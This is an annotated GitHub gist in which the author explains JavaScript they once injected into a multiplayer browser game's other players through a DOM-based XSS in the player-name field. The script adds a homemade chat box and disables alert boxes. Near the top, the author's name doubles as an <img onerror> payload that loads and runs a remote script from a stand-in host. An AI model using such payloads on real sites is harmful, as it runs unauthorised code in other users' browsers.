Skip to content

Instantly share code, notes, and snippets.

@Macil
Last active October 30, 2021 11:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Macil/966f0c62010946fc94e8d88279412aab to your computer and use it in GitHub Desktop.
Save Macil/966f0c62010946fc94e8d88279412aab to your computer and use it in GitHub Desktop.
//% https://twitter.com/macil_tech/status/1454234094888370177
//% This was the code I wrote for that.
//% All comments starting with //% are edits I've made now to explain the original code.
//% The code is pretty specific to the situation was used on, so don't expect to find code
//% that's directly useful for other tasks here. You probably wouldn't want to actually
//% implement game chat in a game in the way it's done here, etc.
//% So this file was saved as "x.js" on and available on the domain I had back then.
//% I would inject the code by joining the game with my name set to this:
//% Macil<img src onerror="$.getScript('//example.com/x.js?1')">
//% The game's code used jQuery's `.html()` method (or maybe it was `append()`) to
//% set the player's name on the scoreboard, so it was vulnerable to XSS. Because this was
//% a DOM-based XSS instead of a server-side XSS, the attack couldn't use a simple <script>
//% tag to inject the code. Instead I put an <img> tag with an invalid src property, and an
//% error handler that caused the game to remote-load this code from my site.
//% The error handler would be called every time my name was rendered onto the scoreboard,
//% so the first thing my code does is redefine jQuery's `$.getScript` function to not reload
//% scripts that it has previously loaded. This stops my exploit from needlessly being
//% re-downloaded and re-running multiple times in one session.
//% Though through the course of using and developing the exploit, sometimes I wanted to push
//% a new version to players. So I wrote my exploit code to detect if HTML elements added by a
//% previous version of the exploit were present and to remove or update them as necessary.
//% In order to cause the new version of my code to actually run for users despite the `$.getScript`
//% patch, I would increment the "?1" in my name, so the new version of the file would be
//% considered a brand new URL and be allowed by the patched `$.getScript`.
'use strict';
//% Immediately-invoked function expression so our local variables here aren't top-level declarations
//% that pollute the global scope.
(function() {
$.getScript = function( url ) {
window._fetched = window._fetched || {};
if (window._fetched[url]) return;
window._fetched[url] = true;
const options = {
dataType: "script",
cache: true,
url
};
return jQuery.ajax( options );
};
//% While I was using my hack, someone else in the game also discovered the
//% vulnerability and tested it with an alert box, which was very disruptive
//% to the game. So I used my hack to counter their hack and disable alert boxes.
window.alert = x => console.log('alert', x);
//% I think the last change I made to this script was to add the above counter-hack,
//% so if a player had already loaded the previous version of my script and had
//% the "chat" element added already, there was no reason for this code to continue
//% any further.
if (document.getElementById('chat')) return;
//% Remove any elements added by a previous version of this script so we can start
//% our modifications from scratch. ... It was really annoying to remember what the
//% previous versions of my script had done and write my code in a way to gracefully
//% handle the situation where a player had previously executed multiple previous
//% versions of my script.
['fun2', 'fun4', 'hackplanet']
.map(x => document.getElementById(x))
.filter(Boolean)
.forEach(x => x.remove());
//% I disabled the background music pretty quickly because I didn't want it to get annoying.
// const audio = document.createElement('audio');
// audio.id = 'fun4';
// audio.loop = true;
// audio.src = 'https://example.com/bg.ogg';
// document.body.appendChild(audio);
// audio.play();
//% Creates the main chat box and sets up its styling.
const el = document.createElement('div');
el.id = 'chat';
el.textContent = 'Hack The Planet Chat System';
el.style.position = 'fixed';
el.style.bottom = '0';
el.style.left = '0';
el.style.padding = '4px';
el.style.font = 'black 16px sans-serif';
el.style.border = '0 solid black';
el.style.borderRightWidth = '2px';
el.style.borderTopWidth = '2px';
el.style.borderRadius = '0';
el.style.width = '250px';
el.style.maxWidth = '30vw';
el.style.background = 'white';
el.style.margin = '0';
el.style.opacity = '0.65';
const messages = document.createElement('div');
messages.id = 'messages';
messages.style.maxHeight = '25vh';
messages.style.overflowY = 'scroll';
el.appendChild(messages);
const input = document.createElement('input');
input.type = 'text';
input.style.width = '90%';
input.maxLength = 100;
input.placeholder = 'Chat here...';
$(input).on("keypress", function(e){
if(e.which == 13){
e.preventDefault();
const message = input.value.slice(0, 100);
if (message.length) {
input.value = '';
//% So the secret of how the chat system worked: I realized that every client could
//% fully control their own player object that got synced to other players, so I
//% took advantage of that and smuggled chat messages into the player object with brand
//% new "chat_message" and "chat_ts" (timestamp) properties.
socket.emit('update_data', {chat_message: message, chat_ts: Date.now()});
}
}
});
el.appendChild(input);
//% Actually add the new chatbox to the page
document.body.appendChild(el);
//% This function is called to show a new message in the chatbox
function newM(name, text) {
const isAtBottom = messages.scrollTop + messages.offsetHeight + 10 > messages.scrollHeight;
const m = document.createElement('div');
const r = document.createElement('span');
r.textContent = (name || '') + ': ';
r.style.color = 'red';
m.appendChild(r);
const c = document.createElement('span');
c.textContent = text;
m.appendChild(c);
messages.appendChild(m);
if (isAtBottom) {
//% Adjust the chatbox to scroll down to see the new message if it was already
//% scrolled to the bottom.
messages.scrollTop = messages.scrollHeight;
}
}
if (typeof socket !== 'undefined') {
let lastTs = 0;
//# This function gets called every time we receive an update to any of the player objects.
//# We check to see if they have a chat_ts timestamp greater than the last chat timestamp
//# we've seen, and if so we render their chat_message into the chatbox by calling newM()
//# with its value.
//# In retrospect this code was a bit fragile: clock skew or a player putting their chat_ts
//# value pointing to the future could cause us to miss chat messages from other players.
//# A better pattern would have been to maintain a separate monotonic counter for every player
//# and consider their chat_message value to be a new message only when their new counter
//# was greater than the old value associated with that player.
window._chatHandler = data => {
let newTs = lastTs;
const newMs = [];
for (let pid of Object.keys(data.player_list || {})) {
const pdata = data.player_list[pid];
if (
pdata &&
typeof pdata.chat_ts === 'number' &&
typeof pdata.chat_message === 'string' &&
pdata.chat_ts > lastTs &&
pdata.chat_ts < Date.now() + 10*1000
) {
newTs = Math.max(newTs, pdata.chat_ts);
newMs.push({
ts: pdata.chat_ts,
//# Make my name pretty in the chatbox by hiding the XSS attack from it
username: (pdata.username || '').replace(/<img .*/, '').slice(0, 40),
text: pdata.chat_message.slice(0, 100)
});
}
}
newMs.sort((a,b) => a.ts-b.ts);
newMs.forEach(m => {
newM(m.username, m.text);
});
lastTs = newTs;
};
//# I can't really remember why this indirection exists, it looks pretty extra.
//# I think it must have been a work-around to patch the environment if the player
//# had previously executed a previous version of my code which used this function.
window._chatHandlerCaller = function() {
return window._chatHandler.apply(this, arguments);
};
socket.on('update_data', window._chatHandlerCaller);
} else {
//% I'm not sure why I had got a branch here handling the case where there's no socket object.
//% I think I was testing my code against a saved copy of the game's html that had none of the
//% game's own javascript, and this branch would show some test messages there.
newM('x', 'Testing 123');
newM(null, 'test foo');
}
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment